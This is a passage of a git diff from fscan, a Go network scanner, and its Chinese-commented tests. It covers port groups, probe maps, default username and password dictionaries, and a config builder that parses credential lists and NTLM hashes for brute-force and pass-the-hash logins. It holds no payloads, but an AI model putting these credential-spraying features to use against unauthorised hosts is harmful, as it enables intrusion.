{"CommonPorts", CommonPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if tt.portGroup == "1-65535" {
|
||||
t.Skip("范围格式无需检查重复")
|
||||
return
|
||||
}
|
||||
|
||||
ports := strings.Split(tt.portGroup, ",")
|
||||
seen := make(map[string]bool)
|
||||
duplicates := []string{}
|
||||
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
if seen[port] {
|
||||
duplicates = append(duplicates, port)
|
||||
}
|
||||
seen[port] = true
|
||||
}
|
||||
|
||||
if len(duplicates) > 0 {
|
||||
t.Errorf("%s 包含重复端口: %v", tt.name, duplicates)
|
||||
} else {
|
||||
t.Logf("✓ %s 无重复端口", tt.name)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestGetPortGroups_Completeness 测试GetPortGroups完整性
|
||||
//
|
||||
// 验证:返回的map包含所有预定义的端口组
|
||||
func TestGetPortGroups_Completeness(t *testing.T) {
|
||||
groups := GetPortGroups()
|
||||
|
||||
expectedKeys := []string{"web", "main", "db", "service", "common", "all"}
|
||||
for _, key := range expectedKeys {
|
||||
if _, ok := groups[key]; !ok {
|
||||
t.Errorf("GetPortGroups缺少键: %s", key)
|
||||
}
|
||||
}
|
||||
|
||||
if len(groups) != len(expectedKeys) {
|
||||
t.Errorf("GetPortGroups返回%d个组,期望%d个", len(groups), len(expectedKeys))
|
||||
}
|
||||
|
||||
t.Logf("✓ GetPortGroups包含所有%d个端口组", len(expectedKeys))
|
||||
}
|
||||
|
||||
// TestGetPortGroups_Values 测试GetPortGroups返回正确的值
|
||||
func TestGetPortGroups_Values(t *testing.T) {
|
||||
groups := GetPortGroups()
|
||||
|
||||
tests := []struct {
|
||||
key string
|
||||
expected string
|
||||
}{
|
||||
{"web", WebPorts},
|
||||
{"main", MainPorts},
|
||||
{"db", DbPorts},
|
||||
{"service", ServicePorts},
|
||||
{"common", CommonPorts},
|
||||
{"all", AllPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.key, func(t *testing.T) {
|
||||
actual, ok := groups[tt.key]
|
||||
if !ok {
|
||||
t.Fatalf("GetPortGroups缺少键: %s", tt.key)
|
||||
}
|
||||
|
||||
if actual != tt.expected {
|
||||
t.Errorf("GetPortGroups[%s] 值不匹配\n期望前20字符: %s...\n实际前20字符: %s...",
|
||||
tt.key, tt.expected[:20], actual[:20])
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 映射正确", tt.key)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 探测器配置测试
|
||||
// =============================================================================
|
||||
|
||||
// TestDefaultProbeMap_NoEmpty 测试默认探测器列表非空
|
||||
func TestDefaultProbeMap_NoEmpty(t *testing.T) {
|
||||
if len(DefaultProbeMap) == 0 {
|
||||
t.Error("DefaultProbeMap不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
// 验证每个探测器名称非空
|
||||
for i, probe := range DefaultProbeMap {
|
||||
if probe == "" {
|
||||
t.Errorf("第%d个探测器名称为空", i+1)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultProbeMap包含%d个探测器", len(DefaultProbeMap))
|
||||
}
|
||||
|
||||
// TestDefaultPortMap_ValidKeys 测试DefaultPortMap的键有效
|
||||
func TestDefaultPortMap_ValidKeys(t *testing.T) {
|
||||
invalidPorts := []int{}
|
||||
|
||||
for port := range DefaultPortMap {
|
||||
if port < 1 || port > 65535 {
|
||||
invalidPorts = append(invalidPorts, port)
|
||||
}
|
||||
}
|
||||
|
||||
if len(invalidPorts) > 0 {
|
||||
t.Errorf("DefaultPortMap包含无效端口号: %v", invalidPorts)
|
||||
} else {
|
||||
t.Logf("✓ DefaultPortMap的%d个端口号都有效", len(DefaultPortMap))
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPortMap_NoEmptyValues 测试DefaultPortMap值非空
|
||||
func TestDefaultPortMap_NoEmptyValues(t *testing.T) {
|
||||
emptyPorts := []int{}
|
||||
|
||||
for port, probes := range DefaultPortMap {
|
||||
if len(probes) == 0 {
|
||||
emptyPorts = append(emptyPorts, port)
|
||||
}
|
||||
}
|
||||
|
||||
if len(emptyPorts) > 0 {
|
||||
t.Errorf("以下端口的探测器列表为空: %v", emptyPorts)
|
||||
} else {
|
||||
t.Logf("✓ DefaultPortMap所有端口都有探测器")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 字典数据测试
|
||||
// =============================================================================
|
||||
|
||||
// TestDefaultUserDict_NoEmptyKeys 测试DefaultUserDict键非空
|
||||
func TestDefaultUserDict_NoEmptyKeys(t *testing.T) {
|
||||
for service, users := range DefaultUserDict {
|
||||
if service == "" {
|
||||
t.Error("DefaultUserDict包含空服务名")
|
||||
}
|
||||
|
||||
if len(users) == 0 {
|
||||
t.Errorf("服务 '%s' 的用户列表为空", service)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultUserDict包含%d个服务", len(DefaultUserDict))
|
||||
}
|
||||
|
||||
// TestDefaultUserDict_CommonServices 测试DefaultUserDict包含常见服务
|
||||
func TestDefaultUserDict_CommonServices(t *testing.T) {
|
||||
commonServices := []string{"ftp", "mysql", "mssql", "ssh", "redis", "mongodb"}
|
||||
|
||||
for _, service := range commonServices {
|
||||
if _, ok := DefaultUserDict[service]; !ok {
|
||||
t.Errorf("DefaultUserDict缺少常见服务: %s", service)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultUserDict包含所有常见服务")
|
||||
}
|
||||
|
||||
// TestDefaultUserDict_AllowsEmptyUser 测试DefaultUserDict允许空用户名
|
||||
//
|
||||
// 验证:某些服务(如redis)允许空用户名
|
||||
func TestDefaultUserDict_AllowsEmptyUser(t *testing.T) {
|
||||
// redis服务应该包含空用户名
|
||||
redisUsers, ok := DefaultUserDict["redis"]
|
||||
if !ok {
|
||||
t.Skip("DefaultUserDict不包含redis,跳过测试")
|
||||
return
|
||||
}
|
||||
|
||||
hasEmptyUser := false
|
||||
for _, user := range redisUsers {
|
||||
if user == "" {
|
||||
hasEmptyUser = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasEmptyUser {
|
||||
t.Error("redis用户列表应该包含空用户名(默认无认证)")
|
||||
} else {
|
||||
t.Logf("✓ redis用户列表正确包含空用户名")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_NoEmpty 测试DefaultPasswords非空
|
||||
func TestDefaultPasswords_NoEmpty(t *testing.T) {
|
||||
if len(DefaultPasswords) == 0 {
|
||||
t.Error("DefaultPasswords不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultPasswords包含%d个密码", len(DefaultPasswords))
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_AllowsEmptyPassword 测试DefaultPasswords允许空密码
|
||||
func TestDefaultPasswords_AllowsEmptyPassword(t *testing.T) {
|
||||
// 应该包含空密码(某些服务默认无密码)
|
||||
hasEmptyPassword := false
|
||||
for _, pass := range DefaultPasswords {
|
||||
if pass == "" {
|
||||
hasEmptyPassword = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasEmptyPassword {
|
||||
t.Error("DefaultPasswords应该包含空密码(某些服务默认无密码)")
|
||||
} else {
|
||||
t.Logf("✓ DefaultPasswords正确包含空密码")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_HasPlaceholder 测试DefaultPasswords包含占位符
|
||||
func TestDefaultPasswords_HasPlaceholder(t *testing.T) {
|
||||
// 应该包含{user}占位符(密码=用户名的场景)
|
||||
hasPlaceholder := false
|
||||
for _, pass := range DefaultPasswords {
|
||||
if strings.Contains(pass, "{user}") {
|
||||
hasPlaceholder = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasPlaceholder {
|
||||
t.Error("DefaultPasswords应该包含{user}占位符(密码=用户名变体)")
|
||||
} else {
|
||||
t.Logf("✓ DefaultPasswords正确包含{user}占位符")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 结构体测试
|
||||
// =============================================================================
|
||||
|
||||
// TestPocInfo_Fields 测试PocInfo结构体字段
|
||||
func TestPocInfo_Fields(t *testing.T) {
|
||||
poc := PocInfo{
|
||||
Target: "http://example.com",
|
||||
PocName: "test-poc",
|
||||
}
|
||||
|
||||
if poc.Target != "http://example.com" {
|
||||
t.Error("PocInfo.Target赋值失败")
|
||||
}
|
||||
|
||||
if poc.PocName != "test-poc" {
|
||||
t.Error("PocInfo.PocName赋值失败")
|
||||
}
|
||||
|
||||
t.Logf("✓ PocInfo结构体正常工作")
|
||||
}
|
||||
|
||||
// TestCredentialPair_Fields 测试CredentialPair结构体字段
|
||||
func TestCredentialPair_Fields(t *testing.T) {
|
||||
cred := CredentialPair{
|
||||
Username: "admin",
|
||||
Password: "password123",
|
||||
}
|
||||
|
||||
if cred.Username != "admin" {
|
||||
t.Error("CredentialPair.Username赋值失败")
|
||||
}
|
||||
|
||||
if cred.Password != "password123" {
|
||||
t.Error("CredentialPair.Password赋值失败")
|
||||
}
|
||||
|
||||
t.Logf("✓ CredentialPair结构体正常工作")
|
||||
}
|
||||
@@ -0,0 +1,384 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/common/parsers"
|
||||
)
|
||||
|
||||
/*
|
||||
config_builder.go - 统一配置构建入口
|
||||
|
||||
从 FlagVars 直接构建 Config 和 State,消除中间层。
|
||||
*/
|
||||
|
||||
// BuildConfig 从 FlagVars 构建完整的 Config 和 State
|
||||
// 这是新的统一入口,替代原来的 Parse() + BuildConfigFromFlags() + updateGlobalVariables()
|
||||
func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) {
|
||||
// 1. 构建基础 Config(从 flag_config.go 的 BuildConfigFromFlags)
|
||||
cfg := BuildConfigFromFlags(fv)
|
||||
|
||||
// 2. 创建 State
|
||||
state := NewState()
|
||||
|
||||
// 3. 解析凭据
|
||||
if err := parseCredentials(fv, cfg); err != nil {
|
||||
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_credentials_parse_failed"), err)
|
||||
}
|
||||
|
||||
// 4. 解析目标(主机、端口、URL)
|
||||
if err := parseTargets(fv, info, cfg, state); err != nil {
|
||||
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_targets_parse_failed"), err)
|
||||
}
|
||||
|
||||
// 5. 应用日志级别
|
||||
applyLogLevelFromConfig(fv)
|
||||
|
||||
return cfg, state, nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 凭据解析
|
||||
// =============================================================================
|
||||
|
||||
func parseCredentials(fv *FlagVars, cfg *Config) error {
|
||||
// 解析用户名
|
||||
usernames, err := parseUsernames(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(usernames) > 0 {
|
||||
for serviceName := range cfg.Credentials.Userdict {
|
||||
cfg.Credentials.Userdict[serviceName] = usernames
|
||||
}
|
||||
}
|
||||
|
||||
// 解析密码
|
||||
passwords, err := parsePasswords(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(passwords) > 0 {
|
||||
cfg.Credentials.Passwords = passwords
|
||||
}
|
||||
|
||||
// 解析用户密码对
|
||||
pairs, err := parseUserPassPairs(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(pairs) > 0 {
|
||||
cfg.Credentials.UserPassPairs = pairs
|
||||
}
|
||||
|
||||
// 解析哈希
|
||||
hashValues, hashBytes, err := parseHashes(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(hashValues) > 0 {
|
||||
cfg.Credentials.HashValues = hashValues
|
||||
cfg.Credentials.HashBytes = hashBytes
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseUsernames(fv *FlagVars) ([]string, error) {
|
||||
var usernames []string
|
||||
|
||||
// 命令行用户名
|
||||
if fv.Username != "" {
|
||||
for _, u := range strings.Split(fv.Username, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
usernames = append(usernames, u)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.UsersFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil {
|
||||
usernames = append(usernames, lines...)
|
||||
} else {
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("config_read_users_failed", fv.UsersFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
// 额外用户名
|
||||
if fv.AddUsers != "" {
|
||||
for _, u := range strings.Split(fv.AddUsers, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
usernames = append(usernames, u)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return removeDuplicate(usernames), nil
|
||||
}
|
||||
|
||||
func parsePasswords(fv *FlagVars) ([]string, error) {
|
||||
var passwords []string
|
||||
|
||||
// 命令行密码(支持逗号分隔多个值,保留空格作为密码的一部分)
|
||||
if fv.Password != "" {
|
||||
for _, p := range strings.Split(fv.Password, ",") {
|
||||
p = strings.TrimSpace(p)
|
||||
if p != "" {
|
||||
passwords = append(passwords, p)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.PasswordsFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil {
|
||||
passwords = append(passwords, lines...)
|
||||
} else {
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("config_read_passwords_failed", fv.PasswordsFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
// 额外密码
|
||||
if fv.AddPasswords != "" {
|
||||
passwords = append(passwords, splitCredentialValues(fv.AddPasswords)...)
|
||||
}
|
||||
|
||||
return removeDuplicate(passwords), nil
|
||||
}
|
||||
|
||||
func splitCredentialValues(input string) []string {
|
||||
fields := strings.FieldsFunc(input, func(r rune) bool {
|
||||
return r == ',' || r == ' ' || r == '\t' || r == '\n' || r == '\r'
|
||||
})
|
||||
|
||||
values := make([]string, 0, len(fields))
|
||||
for _, field := range fields {
|
||||
field = strings.TrimSpace(field)
|
||||
if field != "" {
|
||||
values = append(values, field)
|
||||
}
|
||||
}
|
||||
return values
|
||||
}
|
||||
|
||||
func parseUserPassPairs(fv *FlagVars) ([]config.CredentialPair, error) {
|
||||
var pairs []config.CredentialPair
|
||||
|
||||
// 如果命令行同时指定了单个用户名和单个密码(不是逗号分隔的多个)
|
||||
if fv.Username != "" && fv.Password != "" &&
|
||||
!strings.Contains(fv.Username, ",") && !strings.Contains(fv.Password, ",") &&
|
||||
fv.AddUsers == "" && fv.AddPasswords == "" &&
|
||||
fv.UsersFile == "" && fv.PasswordsFile == "" && fv.UserPassFile == "" {
|
||||
pairs = append(pairs, config.CredentialPair{
|
||||
Username: strings.TrimSpace(fv.Username),
|
||||
Password: fv.Password,
|
||||
})
|
||||
return pairs, nil
|
||||
}
|
||||
|
||||
// 从文件读取用户密码对
|
||||
if fv.UserPassFile != "" {
|
||||
filePairs, err := parsers.ParseUserPassFile(fv.UserPassFile)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pairs = append(pairs, filePairs...)
|
||||
}
|
||||
|
||||
return pairs, nil
|
||||
}
|
||||
|
||||
func parseHashes(fv *FlagVars) ([]string, [][]byte, error) {
|
||||
var hashValues []string
|
||||
var hashBytes [][]byte
|
||||
|
||||
// 命令行哈希(支持纯 NTLM 32字符 或 LM:NT 格式)
|
||||
if fv.HashValue != "" {
|
||||
hash := strings.TrimSpace(fv.HashValue)
|
||||
// LM:NT 格式取 NT hash 部分
|
||||
if parts := strings.SplitN(hash, ":", 2); len(parts) == 2 && len(parts[1]) == 32 {
|
||||
hash = parts[1]
|
||||
}
|
||||
if len(hash) != 32 {
|
||||
return nil, nil, fmt.Errorf("invalid hash length: %s", fv.HashValue)
|
||||
}
|
||||
hashByte, err := hex.DecodeString(hash)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
hashValues = append(hashValues, hash)
|
||||
hashBytes = append(hashBytes, hashByte)
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.HashFile != "" {
|
||||
fileHashes, fileHashBytes, err := parsers.ParseHashFile(fv.HashFile)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
hashValues = append(hashValues, fileHashes...)
|
||||
hashBytes = append(hashBytes, fileHashBytes...)
|
||||
}
|
||||
|
||||
return hashValues, hashBytes, nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 目标解析
|
||||
// =============================================================================
|
||||
|
||||
func parseTargets(fv *FlagVars, info *HostInfo, cfg *Config, state *State) error {
|
||||
// 检查是否为 host:port 格式
|
||||
ports := fv.Ports
|
||||
if info.Host != "" && strings.Contains(info.Host, ":") {
|
||||
if _, portStr, err := net.SplitHostPort(info.Host); err == nil {
|
||||
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= 1 && port <= 65535 {
|
||||
// 有效的 host:port 格式
|
||||
state.SetHostPorts([]string{info.Host})
|
||||
info.Host = ""
|
||||
ports = "" // 清空端口,避免双重扫描
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 解析 URL
|
||||
urls, err := parseURLs(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(urls) > 0 {
|
||||
state.SetURLs(urls)
|
||||
if info.URL == "" && len(urls) == 1 {
|
||||
info.URL = urls[0]
|
||||
}
|
||||
}
|
||||
|
||||
// 更新端口配置
|
||||
if ports != "" {
|
||||
cfg.Target.Ports = ports
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseURLs(fv *FlagVars) ([]string, error) {
|
||||
var urls []string
|
||||
|
||||
// 命令行 URL
|
||||
if fv.TargetURL != "" {
|
||||
for _, u := range strings.Split(fv.TargetURL, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
urls = append(urls, normalizeURL(u))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.URLsFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.URLsFile); err == nil {
|
||||
for _, line := range lines {
|
||||
urls = append(urls, normalizeURL(line))
|
||||
}
|
||||
} else {
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("config_read_urls_failed", fv.URLsFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
return removeDuplicate(urls), nil
|
||||
}
|
||||
|
||||
func normalizeURL(rawURL string) string {
|
||||
rawURL = strings.TrimSpace(rawURL)
|
||||
if rawURL == "" {
|
||||
return rawURL
|
||||
}
|
||||
lowerURL := strings.ToLower(rawURL)
|
||||
if !strings.HasPrefix(lowerURL, "http://") && !strings.HasPrefix(lowerURL, "https://") {
|
||||
return "http://" + normalizeSchemelessURLTarget(rawURL)
|
||||
}
|
||||
parsed, err := url.Parse(rawURL)
|
||||
if err != nil || parsed.Host == "" {
|
||||
return rawURL
|
||||
}
|
||||
normalizedHost := normalizeURLHost(parsed.Host)
|
||||
if normalizedHost == parsed.Host {
|
||||
return rawURL
|
||||
}
|
||||
parsed.Host = normalizedHost
|
||||
normalized := parsed.String()
|
||||
if schemeEnd := strings.Index(rawURL, "://"); schemeEnd >= 0 {
|
||||
return rawURL[:schemeEnd] + normalized[len(parsed.Scheme):]
|
||||
}
|
||||
return normalized
|
||||
}
|
||||
|
||||
func normalizeSchemelessURLTarget(rawURL string) string {
|
||||
authority := rawURL
|
||||
suffix := ""
|
||||
if idx := strings.IndexAny(rawURL, "/?#"); idx >= 0 {
|
||||
authority = rawURL[:idx]
|
||||
suffix = rawURL[idx:]
|
||||
}
|
||||
return normalizeURLHost(authority) + suffix
|
||||
}
|
||||
|
||||
func normalizeURLHost(host string) string {
|
||||
if strings.HasPrefix(host, "[") {
|
||||
return host
|
||||
}
|
||||
if ip := net.ParseIP(host); ip != nil && strings.Contains(host, ":") {
|
||||
return "[" + host + "]"
|
||||
}
|
||||
return host
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 日志级别应用
|
||||
// =============================================================================
|
||||
|
||||
func applyLogLevelFromConfig(fv *FlagVars) {
|
||||
if fv.LogLevel == "" {
|
||||
return
|
||||
}
|
||||
// 调用已有的 applyLogLevel 函数
|
||||
applyLogLevel()
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 辅助函数
|
||||
// =============================================================================
|
||||
|
||||
func removeDuplicate(old []string) []string {
|
||||
if len(old) <= 1 {
|
||||
return old
|
||||
}
|
||||
|
||||
temp := make(map[string]struct{}, len(old))
|
||||
result := make([]string, 0, len(old))
|
||||
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 保留 BuildConfigFromFlags 的原有实现(从 flag_config.go 移入)
|
||||
// =============================================================================
|
||||
|
||||
// BuildConfigFromFlags 已在 flag_config.go 中定义,这里不重复
|
||||
@@ -0,0 +1,450 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
fscanconfig "github.com/shadow1ng/fscan/common/config"
|
||||
)
|
||||
|
||||
func TestParsePasswordsKeepsPrimaryPasswordLiteral(t *testing.T) {
|
||||
fv := &FlagVars{
|
||||
Password: "root admin,pass0",
|
||||
AddPasswords: "pass1 pass2,pass3\tpass4",
|
||||
}
|
||||
|
||||
got, err := parsePasswords(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parsePasswords error = %v", err)
|
||||
}
|
||||
// -pwd 逗号分隔,空格保留;-pwda 逗号/空格/tab 分隔
|
||||
want := []string{"root admin", "pass0", "pass1", "pass2", "pass3", "pass4"}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("parsePasswords() = %#v, want %#v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigReturnsUserFileError(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{UsersFile: "missing-users-file.txt"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for missing users file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigReturnsPasswordFileError(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{PasswordsFile: "missing-passwords-file.txt"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for missing passwords file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigReturnsURLFileError(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{URLsFile: "missing-urls-file.txt"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for missing urls file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigRejectsInvalidHashValue(t *testing.T) {
|
||||
_, _, err := BuildConfig(&FlagVars{HashValue: "not-md5"}, &HostInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("BuildConfig should fail for invalid hash value")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildConfigDefaultsAreIndependentCopies(t *testing.T) {
|
||||
cfg, _, err := BuildConfig(&FlagVars{Username: "custom-user"}, &HostInfo{})
|
||||
if err != nil {
|
||||
t.Fatalf("BuildConfig error = %v", err)
|
||||
}
|
||||
|
||||
defaultSSHUsers := fscanconfig.DefaultUserDict["ssh"]
|
||||
if len(defaultSSHUsers) == 1 && defaultSSHUsers[0] == "custom-user" {
|
||||
t.Fatal("BuildConfig mutated DefaultUserDict")
|
||||
}
|
||||
|
||||
cfg.Credentials.Userdict["ssh"][0] = "mutated-user"
|
||||
if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" {
|
||||
t.Fatal("Config userdict shares backing storage with DefaultUserDict")
|
||||
}
|
||||
|
||||
cfg.Credentials.Passwords[0] = "mutated-password"
|
||||
if fscanconfig.DefaultPasswords[0] == "mutated-password" {
|
||||
t.Fatal("Config passwords share backing storage with DefaultPasswords")
|
||||
}
|
||||
|
||||
port := 80
|
||||
cfg.PortMap[port][0] = "mutated-probe"
|
||||
if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" {
|
||||
t.Fatal("Config port map shares backing storage with DefaultPortMap")
|
||||
}
|
||||
|
||||
cfg.DefaultMap[0] = "mutated-default-probe"
|
||||
if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" {
|
||||
t.Fatal("Config default map shares backing storage with DefaultProbeMap")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseUserPassPairsKeepsAdditionalCredentialFlags(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
fv *FlagVars
|
||||
}{
|
||||
{
|
||||
name: "additional passwords",
|
||||
fv: &FlagVars{
|
||||
Username: "root",
|
||||
Password: "primary",
|
||||
AddPasswords: "extra",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "additional users",
|
||||
fv: &FlagVars{
|
||||
Username: "root",
|
||||
Password: "primary",
|
||||
AddUsers: "admin",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
pairs, err := parseUserPassPairs(tt.fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseUserPassPairs error = %v", err)
|
||||
}
|
||||
if len(pairs) != 0 {
|
||||
t.Fatalf("parseUserPassPairs returned exact pairs %#v; additional credential flags would be ignored", pairs)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewConfigDefaultsAreIndependentCopies(t *testing.T) {
|
||||
cfg := NewConfig()
|
||||
|
||||
cfg.Credentials.Userdict["ssh"][0] = "mutated-user"
|
||||
if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" {
|
||||
t.Fatal("NewConfig userdict shares backing storage with DefaultUserDict")
|
||||
}
|
||||
|
||||
cfg.Credentials.Passwords[0] = "mutated-password"
|
||||
if fscanconfig.DefaultPasswords[0] == "mutated-password" {
|
||||
t.Fatal("NewConfig passwords share backing storage with DefaultPasswords")
|
||||
}
|
||||
|
||||
port := 80
|
||||
cfg.PortMap[port][0] = "mutated-probe"
|
||||
if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" {
|
||||
t.Fatal("NewConfig port map shares backing storage with DefaultPortMap")
|
||||
}
|
||||
|
||||
cfg.DefaultMap[0] = "mutated-default-probe"
|
||||
if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" {
|
||||
t.Fatal("NewConfig default map shares backing storage with DefaultProbeMap")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseTargetsHostPortDoesNotLeaveSyntheticHost(t *testing.T) {
|
||||
fv := &FlagVars{Ports: "22"}
|
||||
info := &HostInfo{Host: "127.0.0.1:8080"}
|
||||
cfg := BuildConfigFromFlags(fv)
|
||||
state := NewState()
|
||||
|
||||
if err := parseTargets(fv, info, cfg, state); err != nil {
|
||||
t.Fatalf("parseTargets error = %v", err)
|
||||
}
|
||||
|
||||
if info.Host != "" {
|
||||
t.Fatalf("info.Host = %q, want empty after host:port extraction", info.Host)
|
||||
}
|
||||
if got := state.GetHostPorts(); !reflect.DeepEqual(got, []string{"127.0.0.1:8080"}) {
|
||||
t.Fatalf("hostPorts = %#v, want host:port target", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeURLKeepsUppercaseScheme(t *testing.T) {
|
||||
got := normalizeURL("HTTPS://example.com")
|
||||
if got != "HTTPS://example.com" {
|
||||
t.Fatalf("normalizeURL() = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeURLBracketsIPv6Literals(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
in string
|
||||
want string
|
||||
}{
|
||||
{name: "bare ipv6 without scheme", in: "2001:db8::1", want: "http://[2001:db8::1]"},
|
||||
{name: "bracketed ipv6 without scheme", in: "[2001:db8::1]", want: "http://[2001:db8::1]"},
|
||||
{name: "bare ipv6 with scheme", in: "http://2001:db8::1", want: "http://[2001:db8::1]"},
|
||||
{name: "bare ipv6 path without scheme", in: "2001:db8::1/admin", want: "http://[2001:db8::1]/admin"},
|
||||
{name: "bare ipv6 query without scheme", in: "2001:db8::1?debug=1", want: "http://[2001:db8::1]?debug=1"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := normalizeURL(tt.in); got != tt.want {
|
||||
t.Fatalf("normalizeURL(%q) = %q, want %q", tt.in, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestModuleTimeout 测试模块超时计算
|
||||
func TestModuleTimeout(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
timeout time.Duration
|
||||
want time.Duration
|
||||
}{
|
||||
{"超时大于下限", 10 * time.Second, 10 * time.Second},
|
||||
{"超时等于下限", 3 * time.Second, 3 * time.Second},
|
||||
{"超时小于下限", 1 * time.Second, 3 * time.Second},
|
||||
{"零超时", 0, 3 * time.Second},
|
||||
{"负超时", -1 * time.Second, 3 * time.Second},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
